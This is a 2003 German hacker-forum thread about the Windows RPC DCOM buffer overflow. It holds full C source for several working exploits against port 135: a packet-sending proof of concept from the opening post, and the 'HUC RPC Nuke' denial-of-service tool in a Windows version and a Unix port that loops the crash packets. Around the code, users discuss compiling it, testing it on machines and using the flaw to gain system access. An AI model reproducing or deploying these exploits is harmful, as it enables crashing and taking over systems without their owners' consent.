Hackerboard Wiki HaboBlog
Hackerboard bei Facebook Hackerboard bei Google+ Hackerboard bei Twitter

[HaBo]

 
Virenschutz · Tools & Aggressive Software Tips zum Kampf gegen gegen Viren, Trojaner, CryptoSoft und Programme, die erstellt wurden um Schaden anzurichten, werden hier behandelt. Aber auch Tools aus dem Security Bereich sind hier richtig.

Microsoft Windows RPC DCOM Interface Buffer Overflow Exploit

Diskussion: Microsoft Windows RPC DCOM Interface Buffer Overflow Exploit im Forum Virenschutz · Tools & Aggressive Software, in der Kategorie Security Area; Anzeige Code: #include <winsock2.h> #include <stdio.h> #include <windows.h> #include <process.h> #include <string.h> #include <winbase.h> unsigned char bindstr[]={ 0x05,0x00,0x0B,0x03,0x10,0x00,0x00,0x00,0x48,0x00,0x00,0x00,0x7F,0x00,0x00,0x00, 0xD0,0x16,0xD0,0x16,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x01,0x00, 0xA0,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46, ...

Antwort
Alt 21.07.03, 22:48   #1 (permalink)
 
Registriert seit: 21.07.03
hellcoder Leistung: Facit NTK
Likes: 0
Standard Microsoft Windows RPC DCOM Interface Buffer Overflow Exploit

Anzeige

Code:
#include <winsock2.h>
#include <stdio.h>
#include <windows.h>
#include <process.h>
#include <string.h>
#include <winbase.h>

unsigned char bindstr[]={
0x05,0x00,0x0B,0x03,0x10,0x00,0x00,0x00,0x48,0x00,0x00,0x00,0x7F,0x00,0x00,0x00,
0xD0,0x16,0xD0,0x16,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x01,0x00,
0xA0,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,
0x00,0x00,0x00,0x00,0x04,0x5D,0x88,0x8A,0xEB,0x1C,0xC9,0x11,0x9F,0xE8,0x08,0x00,
0x2B,0x10,0x48,0x60,0x02,0x00,0x00,0x00};

unsigned char request[]={
0x05,0x00,0x00,0x03,0x10,0x00,0x00,0x00,0x48,0x00,0x00,0x00,0x13,0x00,0x00,0x00,
0x90,0x00,0x00,0x00,0x01,0x00,0x03,0x00,0x05,0x00,0x06,0x01,0x00,0x00,0x00,0x00,
0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,
0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00};



void main(int argc,char ** argv)
{
    WSADATA WSAData;
 int i;
    SOCKET sock;
    SOCKADDR_IN addr_in;
 
 short port=135;
 unsigned char buf1[0x1000];
 printf("RPC DCOM DOS Vulnerability discoveried by Xfocus.org\n");
 printf("Code by FlashSky,Flashsky xfocus org,benjurry,benjurry xfocus org\n");
 printf("Welcome to http://www.xfocus.net\n");
 if(argc<2)
 {
  printf("useage:%s target\n",argv[0]);
exit(1);
 }


    if (WSAStartup(MAKEWORD(2,0),&WSAData)!=0)
    {
        printf("WSAStartup error.Error:%d\n",WSAGetLastError());
        return;
    }

    addr_in.sin_family=AF_INET;
    addr_in.sin_port=htons(port);
    addr_in.sin_addr.S_un.S_addr=inet_addr(argv[1]);
 
 if ((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==INVALID_SOCKET)
    {
        printf("Socket failed.Error:%d\n",WSAGetLastError());
        return;
    }
 if(WSAConnect(sock,(struct sockaddr *)&addr_in,sizeof(addr_in),NULL,NULL,NULL,NULL)==SOCKET_ERROR)
 {
  printf("Connect failed.Error:%d",WSAGetLastError());
  return;
 }
 if (send(sock,bindstr,sizeof(bindstr),0)==SOCKET_ERROR)
 {
   printf("Send failed.Error:%d\n",WSAGetLastError());
   return;
 }

 i=recv(sock,buf1,1024,MSG_PEEK);
 if (send(sock,request,sizeof(request),0)==SOCKET_ERROR)
 {
   printf("Send failed.Error:%d\n",WSAGetLastError());
   return;
 }
 i=recv(sock,buf1,1024,MSG_PEEK);
}
wenn mich nicht alles täuscht ist das c++ oder ?
ist das für linux oder für windows geschrieben ?
denk mal eher für windows...
bekomm leider den fehler "fatal error C1010: Unerwartetes Dateiende waehrend der Suche nach der Direktive fuer die vorkompilierte Header-Datei
Fehler beim Ausführen von cl.exe.
"
Ich habs mit Visual C++ versucht...

Was ich aber jetzt eigentlich vorhatte war der Versuch das ganze Teil als Visual Basic programm zu schreiben, hab noch nie nen exploit in ne andere sprache umgewandelt und es reizt mich jetzt irgendwie )
Leider musste ich feststellen das ich viel zu wenig Ahnung von C++ hab,
Dieses ganze winsockzeugs sagt mir da einfach nix.
Könnte mir das vielleicht jemand ein ganz klein wenig kommentieren ?
Ich weiß, das ist nen großer gefallen aber naja,
vielleicht findet sich ja jemand der lust hat.

mfg
hell


hm da hab ich wohl das falsche forum erwischt, coding gibts ja extra, sorry...
hellcoder ist offline   Mit Zitat antworten
Alt 21.07.03, 23:24   #2 (permalink)
Gulliver
Guest
 
Likes:
Standard

ja, c++
ja, windows

die socket routinen sind absolut unspekatakulär.

der recv buffer (buf1) wird mit 4096 bytes deklariert (0x1000)
Er holt siche einen Socketdeskriptor (socket)
Er verbindet (connect) an port 135
Er sendet zunächst den shellcode der in bindstr steht
Er liest die antwort (i = recv..) in buf1
Er sendet den shellcode, der in request steht
Und liest wieder die antwort buf1


Also macht das Programm nichts anderes als 2 unterschiedliche arrays, gefüllt mit shellcode
an port 135 des Zielsystems zu senden.

fraglich, warum er sich die antwort extra einliest.

Probier mal aus den code mit einem anderen, "DOS" compiler zu übersetzten.
Bei Borland gibt es einen kostenlosen, der sehr gut ist.

mfg Thomas
  Mit Zitat antworten
   
HaBOT
 
- Anzeige -

Werbung ist gerade online    
Alt 21.07.03, 23:41   #3 (permalink)
Themenstarter
 
Registriert seit: 21.07.03
hellcoder Leistung: Facit NTK
Likes: 0
Standard

hmmm danke schonmal,
wie wird denn der shellcode gesendet,
alles auf einmal, alles einzelnd(duch komma getrennt)..

in dos(c++) würde wenn der vuln pc erfolgreich exploitet wurde ne shell kommen mit system rechten. in vb befinde ich mich in einer gui und hab nur vermutungen wie ich die shell die ich bekommen soll in nen dos fenster bekomm. kenne mich mit buffer overflows nicht so aus. wenn ich netcat auf port 135 laufen lass ist das nicht des rätsels lösung oder ?

...suche jetzt erstmal nach dem c++ compiler...

mfg
hell
hellcoder ist offline   Mit Zitat antworten
Alt 21.07.03, 23:57   #4 (permalink)
Themenstarter
 
Registriert seit: 21.07.03
hellcoder Leistung: Facit NTK
Likes: 0
Standard

hmm wenn ich compilen will
bcc32.exe c:\rpcexploit.h
kommen 27 fehler

kannst ma testen und mir dann sagen wie dus compiled hast ? danke
hellcoder ist offline   Mit Zitat antworten
Alt 22.07.03, 02:08   #5 (permalink)
 
Registriert seit: 26.09.02
Crux Leistung: Facit NTK
Likes: 0
Standard

@hellcoder

Code:
#include <winsock2.h> 
#include <stdio.h> 

#pragma comment(lib, "ws2_32.lib") 

char sendcode1[] = 
"\x05\x00\x0b\x03\x10\x00\x00\x00\x48\x00\x00\x00\x02\x00\x00\x00" 
"\xd0\x16\xd0\x16\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x01\x00" 
"\x60\x9e\xe7\xb9\x52\x3d\xce\x11\xaa\xa1\x00\x00\x69\x01\x29\x3f" 
"\x02\x00\x02\x00\x04\x5d\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00" 
"\x2b\x10\x48\x60\x02\x00\x00\x00\x05\x00\x00\x01\x10\x00\x00\x00" 
"\xd0\x16\x00\x00\x8f\x00\x00\x00\x20\x27\x01\x00\x00\x00\x02\x00" 
"\xf0\x00\x00\x00\x00\x00\x00\x00\xf0\x00\x00\x00"; 

char sendcode2[] = 
"\x88\x13\x00\x00\x00\x00\x00\x00\x88\x13\x00\x00"; 

char sendcode3[] = 
"\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00" 
"\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00"; 

char sendcode4[] = 
"\xfe\xff\x00\x00\x00\x00\x00\x00\xfe\xff\x00\x00\x3d\x3d\x3d\x3d" 
"\x3d\x3d\x3d\x3d\x3d\x3d\x3d\x3d\x3d\x3d\x3d\x3d\x3d\x3d\x3d\x3d" 
"\x05\x00\x00\x00\x10\x00\x00\x00\xd0\x16\x00\x00\x8f\x00\x00\x00" 
"\x50\x10\x01\x00\x00\x00\x02\x00"; 

char sendcode5[] = 
"\x05\x00\x00\x00\x10\x00\x00\x00\xd0\x16\x00\x00\x8f\x00\x00\x00" 
"\x80\xf9\x00\x00\x00\x00\x02\x00"; 

char sendcode6[] = 
"\x05\x00\x00\x00\x10\x00\x00\x00\xd0\x16\x00\x00\x8f\x00\x00\x00" 
"\xb0\xe2\x00\x00\x00\x00\x02\x00"; 

char sendcode7[] = 
"\x05\x00\x00\x02\x10\x00\x00\x00\x60\x15\x00\x00\x8f\x00\x00\x00" 
"\x60\x15\x00\x00\x00\x00\x02\x00"; 

char sendcode8[] = 
"\x00\x00\x01\x10\x00\x00\x00\x00\x00\x00\x01\x10\x00\x00"; 

int main(int argc, char *argv[]) 
{ 
WSADATA wsaData; 
WORD wVersionRequested; 
struct hostent *pTarget; 
struct sockaddr_in sock; 
char *targetip; 
int port,bufsize; 
SOCKET s; 
char buffer[20480]; 

printf("========================= HUC Win2000/XP RPC Nuke V0.10 =======================\r\n"); 
printf("================= By Lion, Welcome to http://www.cnhonker.com =================\r\n\n"); 

if (argc < 2) 
{ 
printf("Usage:\r\n"); 
printf("  %s <TargetIP> [TargetPort]\r\n", argv[0]); 
printf("Example:\r\n"); 
printf("  %s 192.168.0.1\r\n", argv[0]); 
printf("  %s 192.168.0.1 135\r\n", argv[0]); 
printf("PS:\r\n"); 
printf("  If target is XP, try 2 times.\r\n"); 
exit(1); 
} 

wVersionRequested = MAKEWORD(1, 1); 
if (WSAStartup(wVersionRequested, &wsaData) < 0) return -1; 

targetip = argv[1]; 
port = 135; 
if (argc >= 3) port = atoi(argv[2]); 
bufsize = 512; 
if (argc >= 4) bufsize = atoi(argv[3]); 

s = socket(AF_INET, SOCK_STREAM, 0); 
if(s==INVALID_SOCKET) 
{ 
printf("Socket error!\r\n"); 
exit(1); 
} 

printf("Resolving Hostnames...\n"); 
if ((pTarget = gethostbyname(targetip)) == NULL) 
{ 
printf("Resolve of %s failed, please try again.\n", argv[1]); 
exit(1); 
} 

memcpy(&sock.sin_addr.s_addr, pTarget->h_addr, pTarget->h_length); 
sock.sin_family = AF_INET; 
sock.sin_port = htons((USHORT)port); 

printf("Connecting...\n"); 
if ( (connect(s, (struct sockaddr *)&sock, sizeof (sock) ))) 
{ 
printf("Couldn't connect to host.\n"); 
exit(1); 
} 

printf("Connected!...\n"); 
printf("Sending Packets...\n"); 
if (send(s, sendcode1, sizeof(sendcode1)-1, 0) == -1) 
{ 
printf("Error sending nuke Packets\r\n"); 
closesocket(s); 
exit(1); 
} 

memset(&buffer, '\x41', 240); 
send(s, buffer, 240, 0); 

send(s, sendcode2, sizeof(sendcode2)-1, 0); 
memset(&buffer, '\x42', 5000); 
send(s, buffer, 5000, 0); 

send(s, sendcode3, sizeof(sendcode3)-1, 0); 
memset(&buffer, '\x43', 512); 
send(s, buffer, 512, 0); 

send(s, sendcode4, sizeof(sendcode4)-1, 0); 
// memset(&buffer, '\x44', 20480); 
// send(s, buffer, 20480, 0); 

// /* 
memset(&buffer, '\x44', 5000); 
send(s, buffer, 5000, 0); 

send(s, sendcode5, sizeof(sendcode5)-1, 0); 
memset(&buffer, '\x45', 5000); 
send(s, buffer, 5000, 0); 

send(s, sendcode6, sizeof(sendcode6)-1, 0); 
memset(&buffer, '\x46', 5000); 
send(s, buffer, 5000, 0); 

send(s, sendcode7, sizeof(sendcode7)-1, 0); 
memset(&buffer, '\x47', 5000); 
send(s, buffer, 5000, 0); 

send(s, sendcode8, sizeof(sendcode8)-1, 0); 
memset(&buffer, '\x48', 5000); 
send(s, buffer, 5000, 0); 

// */ 
printf("Nuked! \r\nIf target is XP, try a again! :)\r\n"); 
closesocket(s); 
WSACleanup(); 
return 0; 
}
MfG

Crux
Crux ist offline   Mit Zitat antworten
Alt 24.07.03, 10:34   #6 (permalink)
 
Registriert seit: 24.07.03
ScriptGod Leistung: Facit NTK
Likes: 0
Standard

was des ding genau macht nachdem er erfolgreich war weiß ich nicht - sollte man mal testet...

des ding schickt einen request an port 135, an das ziel
danach was (eine bestätigung) empfangen? - dann ist das ziel hackable

danach kommt der code - wahrscheinlich ein shellcode

sowas in vb zu realisieren düfte schwehr bis unmöglich sein!
ScriptGod ist offline   Mit Zitat antworten
Alt 24.07.03, 14:16   #7 (permalink)
Member of Honour
 
Registriert seit: 06.03.03
poiin2000 Leistung: Facit NTK
Likes: 3
Standard

Es gibt eine ähnliche Umsetzung für Linux

Code:
/*
************************************************************************
* MS WIN RPC DoS CODE FROM SPIKE v2.7
* 
* Compile it use:
* win		->	cl winnuke.c
* most *nix ->	cc -o winnuke winnuke.c
* sunos	->	cc -o winnuke winnuke.c -lsocket -lnsl
*
* Usage:
* ./winnuke targetip   
*
* Code by lion, Welcomde to HUC Website Http://www.cnhonker.com
* 2002/10/22
* Ported to *nix by Padre Pio
* (Thx to Carolo Wojtyla for the support and the *Admin* for the 5 seconds of testing)
* Compile on various *nix flavours (Tested on Linux Slackware 7.1, SunOS 5.6, FreeBSD 4.6)
* 2003/06/26
************************************************************************
*/

#include <stdio.h>

#if defined(WIN32)
#include <winsock2.h>
#pragma comment(lib, "ws2_32.lib")
#else

#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>

#define SOCKET int
#define INVALID_SOCKET -1
#define closesocket(s) close(s)

#endif


char sendcode1[] = 
	"\x05\x00\x0b\x03\x10\x00\x00\x00\x48\x00\x00\x00\x02\x00\x00\x00"
	"\xd0\x16\xd0\x16\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x01\x00"
	"\x60\x9e\xe7\xb9\x52\x3d\xce\x11\xaa\xa1\x00\x00\x69\x01\x29\x3f"
	"\x02\x00\x02\x00\x04\x5d\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00"
	"\x2b\x10\x48\x60\x02\x00\x00\x00\x05\x00\x00\x01\x10\x00\x00\x00"
	"\xd0\x16\x00\x00\x8f\x00\x00\x00\x20\x27\x01\x00\x00\x00\x02\x00"
	"\xf0\x00\x00\x00\x00\x00\x00\x00\xf0\x00\x00\x00";

char sendcode2[] = 
	"\x88\x13\x00\x00\x00\x00\x00\x00\x88\x13\x00\x00";

char sendcode3[] = 
	"\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00"
	"\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00";

char sendcode4[] = 
	"\xfe\xff\x00\x00\x00\x00\x00\x00\xfe\xff\x00\x00\x3d\x3d\x3d\x3d" 
	"\x3d\x3d\x3d\x3d\x3d\x3d\x3d\x3d\x3d\x3d\x3d\x3d\x3d\x3d\x3d\x3d"
	"\x05\x00\x00\x00\x10\x00\x00\x00\xd0\x16\x00\x00\x8f\x00\x00\x00"
	"\x50\x10\x01\x00\x00\x00\x02\x00";

char sendcode5[] = 
	"\x05\x00\x00\x00\x10\x00\x00\x00\xd0\x16\x00\x00\x8f\x00\x00\x00"
	"\x80\xf9\x00\x00\x00\x00\x02\x00";

char sendcode6[] = 
	"\x05\x00\x00\x00\x10\x00\x00\x00\xd0\x16\x00\x00\x8f\x00\x00\x00"
	"\xb0\xe2\x00\x00\x00\x00\x02\x00";

char sendcode7[] = 
	"\x05\x00\x00\x02\x10\x00\x00\x00\x60\x15\x00\x00\x8f\x00\x00\x00"
	"\x60\x15\x00\x00\x00\x00\x02\x00";

char sendcode8[] = 
	"\x00\x00\x01\x10\x00\x00\x00\x00\x00\x00\x01\x10\x00\x00";

int main(int argc, char *argv[])
{

#if defined(WIN32)
	WSADATA wsaData;
	WORD wVersionRequested;
#endif

	struct hostent 		*pTarget;
	struct sockaddr_in 	sock;
	char *targetip;
	int port,bufsize;
	SOCKET s;
	char buffer[20480];

	printf("========================= HUC Win2000/XP RPC Nuke V0.10 =======================\r\n");
	printf("================= By Lion, Welcome to http://www.cnhonker.com =================\r\n");
	printf("================================ *nix Version =================================\r\n");

	if (argc < 2)
	{
		printf("Usage:\r\n");
		printf("    %s <TargetIP> [TargetPort]\r\n", argv[0]);
		printf("Example:\r\n");
		printf("    %s 192.168.0.1\r\n", argv[0]);
		printf("    %s 192.168.0.1 135\r\n", argv[0]);
		printf("PS:\r\n");
		printf("    If target is XP, try 2 times.\r\n");
		exit(1);
	}

#if defined(WIN32)
	VersionRequested = MAKEWORD(1, 1);
	if (WSAStartup(wVersionRequested, &wsaData) < 0) return -1; */
#endif


	targetip = argv[1];
	port = 135;
	if (argc >= 3) port = atoi(argv[2]);
	bufsize = 512;
	if (argc >= 4) bufsize = atoi(argv[3]);

	s = socket(AF_INET, SOCK_STREAM, 0);


	if(s==INVALID_SOCKET)
	{	
		printf("Socket error!\r\n");
		exit(1);
	}

	printf("Resolving Hostnames...\n");
	if ((pTarget = gethostbyname(targetip)) == NULL)
	{
		printf("Resolve of %s failed, please try again.\n", argv[1]);
		exit(1);
	}

	memcpy(&sock.sin_addr.s_addr, pTarget->h_addr, pTarget->h_length);
	sock.sin_family = AF_INET;
	sock.sin_port = htons(port);

	printf("Connecting...\n");
	if ( (connect(s, (struct sockaddr *)&sock, sizeof (sock) )))
	{
		printf("Couldn't connect to host.\n");
		exit(1);
	}



	printf("Connected!...\n");
	printf("Sending Packets...\n");
	if (send(s, sendcode1, sizeof(sendcode1)-1, 0) == -1)
	{
		printf("Error sending nuke Packets\r\n");
		closesocket(s);
		exit(1);
	}

while(1){

	memset(&buffer, '\x41', 240);
	send(s, buffer, 240, 0);

	send(s, sendcode2, sizeof(sendcode2)-1, 0);
	memset(&buffer, '\x42', 5000);
	send(s, buffer, 5000, 0);

	send(s, sendcode3, sizeof(sendcode3)-1, 0);
	memset(&buffer, '\x43', 512);
	send(s, buffer, 512, 0);
	
	send(s, sendcode4, sizeof(sendcode4)-1, 0);
//	memset(&buffer, '\x44', 20480);
//	send(s, buffer, 20480, 0);

//	/*
	memset(&buffer, '\x44', 5000);
	send(s, buffer, 5000, 0);

	send(s, sendcode5, sizeof(sendcode5)-1, 0);
	memset(&buffer, '\x45', 5000);
	send(s, buffer, 5000, 0);

	send(s, sendcode6, sizeof(sendcode6)-1, 0);
	memset(&buffer, '\x46', 5000);
	send(s, buffer, 5000, 0);

	send(s, sendcode7, sizeof(sendcode7)-1, 0);
	memset(&buffer, '\x47', 5000);
	send(s, buffer, 5000, 0);

	send(s, sendcode8, sizeof(sendcode8)-1, 0);
	memset(&buffer, '\x48', 5000);
	send(s, buffer, 5000, 0);
	
//	*/
}
	printf("Nuked! \r\nIf target is XP, try again! :)\r\n");
	closesocket(s);

#if defined(WIN32)
	WSACleanup();
#endif
	return 0;
}
mfg p2k
poiin2000 ist offline   Mit Zitat antworten
Alt 24.07.03, 14:39   #8 (permalink)
Themenstarter
 
Registriert seit: 21.07.03
hellcoder Leistung: Facit NTK
Likes: 0
Standard

Das was ihr da postet ist aber leider die alte rpc vuln mit der man rpc abschießen kann. das was ich gepostet hab ist ne ganz neue sicherheitslücke mit der man system access bekommt. Wollte das gerne mal irgendwie testen, aber schaffs absolut nicht es zu compilen, selbst wenn der eine fehler nicht mehr kommt kommen die nächsten 4...

naja trotzdem danke.
mfg
hell
hellcoder ist offline   Mit Zitat antworten
Alt 24.07.03, 14:50   #9 (permalink)
Member of Honour
 
Registriert seit: 06.03.03
poiin2000 Leistung: Facit NTK
Likes: 3
Standard

Jo du hast Recht.

Warum fragst du nicht auf der Maillingliste nach?
http://lists.netsys.com/pipermail/fu...ly/011529.html

mfg p2k
poiin2000 ist offline   Mit Zitat antworten
Alt 24.07.03, 15:49   #10 (permalink)
 
Registriert seit: 24.07.03
ScriptGod Leistung: Facit NTK
Likes: 0
Standard

beide exploits bringen den rpc dienst zum absturz - evtl auch den pc... hab beide grad mal getestet

aber die sicherheitslücke kann man auch zum ausführen von einem beliebigem code verwenden, es gibt blos noch keine öffentliches eploits
ScriptGod ist offline   Mit Zitat antworten
Alt 24.07.03, 15:53   #11 (permalink)
Member of Honour
 
Registriert seit: 06.03.03
poiin2000 Leistung: Facit NTK
Likes: 3
Standard

Wenn RPC bei WIN2k/XP crashed rebootet das OS innerhalb von 1Min automatisch was sich auch leider nicht umgehen lässt.

mfg p2k
poiin2000 ist offline   Mit Zitat antworten
Alt 24.07.03, 17:11   #12 (permalink)
Themenstarter
 
Registriert seit: 21.07.03
hellcoder Leistung: Facit NTK
Likes: 0
Standard

umgehen lässt sich das schon,
hab das mal irgendwie mittels vb gestoppt,
ist nur nen kleiner befehl will mir jetzt aber nicht einfallen
das dumme ist das man danach erstma wieder paar prozesse von hand starten muss...

werd ma freund fragen wie das mit dem befehl war,
dann post ich das hier nochma.
hellcoder ist offline   Mit Zitat antworten
Alt 03.08.03, 09:09   #13 (permalink)
 
Registriert seit: 29.06.03
TheVoid Leistung: Facit NTK
Likes: 0
Standard

poiin2000:
also ich hab bei mir auch mal rpc abgeschossen, da tat sich nix vonwegen reboot.
TheVoid ist offline   Mit Zitat antworten
Alt 03.08.03, 11:55   #14 (permalink)
Rushjo
Guest
 
Likes:
Standard

@TheVoid

Der RPC-Remote-Shell-Exploit funktioniert nur bei "englischen Versionen" von Windows, was
auch im Exploit selber drin steht. Der Aufbau und vorallem die Speicheradressen unterscheiden
sich bei den verschieden sprachigen Windows-Versionen. Meiner Meinung nach liegt hier genau
das Problem, warum z.B. deutsche WinXP-Versionen "rebooten" und englische scheinbar nicht.

Sage mal, bei welcher Version Du das denn getestet hast?!

MfG Rushjo
  Mit Zitat antworten
Alt 04.08.03, 10:33   #15 (permalink)
Member of Honour
 
Registriert seit: 06.03.03
poiin2000 Leistung: Facit NTK
Likes: 3
Standard

Mittels "shutdown -a" kann der reboot des alten DoS Exploitz gestoppt werden.

mfg p2k
poiin2000 ist offline   Mit Zitat antworten
Antwort
   
- Anzeige -

Werbung ist gerade online    

[HaBo] » Security Area » Virenschutz · Tools & Aggressive Software » Microsoft Windows RPC DCOM Interface Buffer Overflow Exploit
Themen-Optionen
Ansicht

Forumregeln
Es ist Ihnen nicht erlaubt, neue Themen zu verfassen.
Es ist Ihnen nicht erlaubt, auf Beiträge zu antworten.
Es ist Ihnen nicht erlaubt, Anhänge hochzuladen.
Es ist Ihnen nicht erlaubt, Ihre Beiträge zu bearbeiten.

BB-Code ist an.
Smileys sind an.
[IMG] Code ist an.
HTML-Code ist aus.
Trackbacks sind aus
Pingbacks sind aus
Refbacks sind aus


Ähnliche Themen
Thema Autor Forum Antworten Letzter Beitrag
Buffer Overflow MrNiceGuy Code Kitchen 4 07.06.05 12:56
Buffer Overflow ERit Applikationen 0 24.04.05 15:24
Windows sp2 Buffer-Overflow schutz killen? Ping Windows 4 07.02.05 14:47
microsoft sieht keine probleme bei buffer-overflow markg (In)security allgemein 0 02.02.05 15:20
Microsoft Windows RPC DCOM Interface Buffer Overflow Exploit hellcoder Code Kitchen 81 29.02.04 19:49


1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61